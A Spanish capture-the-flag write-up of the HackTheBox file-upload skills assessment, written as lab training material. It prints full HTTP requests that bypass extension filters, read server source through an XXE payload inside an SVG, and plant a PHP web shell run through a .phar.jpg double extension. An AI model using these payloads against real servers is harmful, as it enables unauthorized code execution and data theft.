---
title: "Writeup Skills Assessment - File Upload Attacks — HackTheBox"
machine: "Skills Assessment - File Upload Attacks"
platform: "HackTheBox"
difficulty: "Medio"
operating_system: ["Linux"]
tags: ["web", "lfi"]
author: "juanluismm520"
author_url: "https://writeups.es/u/juanluismm520"
source: "https://writeups.es/writeups/hackthebox/skills-assessment-file-upload-attacks/juanluismm520"
license: "CC BY-SA 4.0"
published: "2026-08-23T15:53:56.249509+00:00"
updated: "2026-08-23T16:09:28.092861+00:00"
words: 415
reading_minutes: 2
summary: "Nos dan una web vulnerable a File Upload, debemos usar todo lo dado en el módulo para conseguirlo."
---# Skills Assessment - File Upload Attacks — HackTheBox

**Resumen:** Nos dan una web vulnerable a File Upload, debemos usar todo lo dado en el módulo para conseguirlo.

## Resumen

Nos dan una web vulnerable a File Upload, debemos usar todo lo dado en el módulo para conseguirlo. 

![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/c856ce6e-91b8-465a-896c-d3e09d2cf5a2.webp)


## Superficie de ataque

| Endpoint | Método | Parámetros | Observaciones |
|----------|--------|------------|---------------|
| /contact/upload.php   | POST   | imagen | **_Vulnerable!_**              |
| /contact/submit.php | GET | | No vulnerable, probablemente no sirve para nada

## Análisis

Nos da esta pista:
Try to fuzz for non-blacklisted extensions, and for allowed content-type headers. If you are unable to locate the uploaded files, try to read the source code to find the uploads directory and the naming scheme.

Por lo que voy paso a paso. Para resolver esta máquina necesité 2 horas debido a que estuve dando vueltas hasta que encontré la solución, aquí pondré la solución directamente (sin indicar la flag) para no hacer muy extenso el writeup. 

## Explotación

```http
POST /contact/upload.php HTTP/1.1
Host: 154.57.164.75:32638
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://154.57.164.75:32638/contact/
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=----geckoformboundary671c2221cd333985644e270b4f1f93b
Content-Length: 208151
Origin: http://154.57.164.75:32638
DNT: 1
Connection: keep-alive
Priority: u=0

------geckoformboundary671c2221cd333985644e270b4f1f93b
Content-Disposition: form-data; name="uploadFile"; filename="img.jpg"
Content-Type: image/jpeg

ÿØÿà .... (todo el contenido de la imagen)
```

Nos devolvía un código en base64, pero no nos indicaba por ningún lado ninguna pista, ni la carpeta de subida de ficheros. 
También intenté hacer ffuf a `/contact/FUZZ` pero no sirvió de nada, la imagen se subió correctamente pero no había forma de encontrar la carpeta donde se sube ese fichero.

Con el intruder a esa petición y usando el diccionario de web-extensions.txt (dentro de seclist) y filtrando por los mensajes de error que me salían: `Only images are allowed` y `Extension not allowed` logré sacar lo siguiente:

![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/afa02348-06e4-4048-bf20-d850b07b67fd.webp)

![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/a5ada7bc-51c1-453f-8dbd-e2c50e680815.webp)


Lo interesante de esto, es que `.log` y `.reg` no había problemas en subirlos y devolvía como si fuera una imagen. Pero este análisis realmente nos sirvió para saber que por ejemplo la extensión `.phar` pasa el primer filtro, ya que nos devolvía un  `Only images are allowed` y dicha extensión es capaz de ejecutar código php



### Payload final
Tras mucha mucha búsqueda, encontré que se podían subir archivos svg (pese a que no estaba en la whitelist). Lo conseguí ejecutando esta petición:

```http
POST /contact/upload.php HTTP/1.1
Host: 154.57.164.77:30503
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://154.57.164.77:30503/contact/
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=----geckoformboundaryd5cb21e20f89248934102206832e4147
Content-Length: 418
Origin: http://154.57.164.77:30503
DNT: 1
Connection: keep-alive
Priority: u=0

------geckoformboundaryd5cb21e20f89248934102206832e4147
Content-Disposition: form-data; name="uploadFile"; filename="try.phar.svg"
Content-Type: image/jpeg

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=upload.php"> ]>
<svg>&xxe;</svg>
------geckoformboundaryd5cb21e20f89248934102206832e4147--
```

Nos devolvía un b64 que incluso burp podía descifrar. Lo de leer `upload.php` lo hice debido a que lo ponía en la pista que nos daba HTB. Pues debíamos leer el código fuente para saber donde se almacenan los ficheros. 


![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/3e902c86-4096-4ef7-80cf-64d7790d8848.webp)


Simplemente, leyendo uploads.php nos damos cuenta de que la imagen se sube a la carpeta `/contact/user_feedback_submissions/fecha_nombrefichero.extension` donde fecha está en formato YYMMDD (por ejemplo en mi caso 260823_img.phar.jpg). 

Nos faltaría ejecutar la petición `upload` de nuevo donde le coloquemos una webshell. 

```http
POST /contact/upload.php HTTP/1.1
Host: 154.57.164.77:30503
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://154.57.164.77:30503/contact/
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=----geckoformboundaryd5cb21e20f89248934102206832e4147
Content-Length: 418
Origin: http://154.57.164.77:30503
DNT: 1
Connection: keep-alive
Priority: u=0

------geckoformboundaryd5cb21e20f89248934102206832e4147
Content-Disposition: form-data; name="uploadFile"; filename="img.phar.jpg"
Content-Type: image/jpeg

ÿØÿà
<?php system($_REQUEST['cmd']); ?>
```

En mi caso cogí una imagen jpg real y luego le puse `<?php system($_REQUEST['cmd']); ?>` ya bastaría con acceder a `http://154.57.164.77:30503/contact/user_feedback_submissions/260823_img.phar.jpg?cmd=whoami` y vemos como efectivamente funciona:

![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/d7f4b674-ac50-4abe-b54f-3a34ce3067a4.webp)

Hacemos `http://154.57.164.77:30503/contact/user_feedback_submissions/260823_img.phar.jpg?cmd=ls%20/` y nos mostrará el nombre de la flag y posteriormente sería mostrarla con un cat:
`http://154.57.164.77:30503/contact/user_feedback_submissions/260823_img.phar.jpg?cmd=cat%20/flag_2b8f1d2da162d8c44b3696a1dd8a91c9.txt`

Terminando así el módulo correctamente
![Imagen](https://heqkdeabwizixwftdumf.supabase.co/storage/v1/object/public/writeup-images/318f5db5-2777-441d-bccc-080db9bfff1e/1ced7bba-30a2-467c-a03e-a4b7a29d1757.webp)


---

> Writeup de **juanluismm520** publicado en [writeups.es](https://writeups.es/writeups/hackthebox/skills-assessment-file-upload-attacks/juanluismm520).
> Si citas este contenido, enlaza a la fuente original.
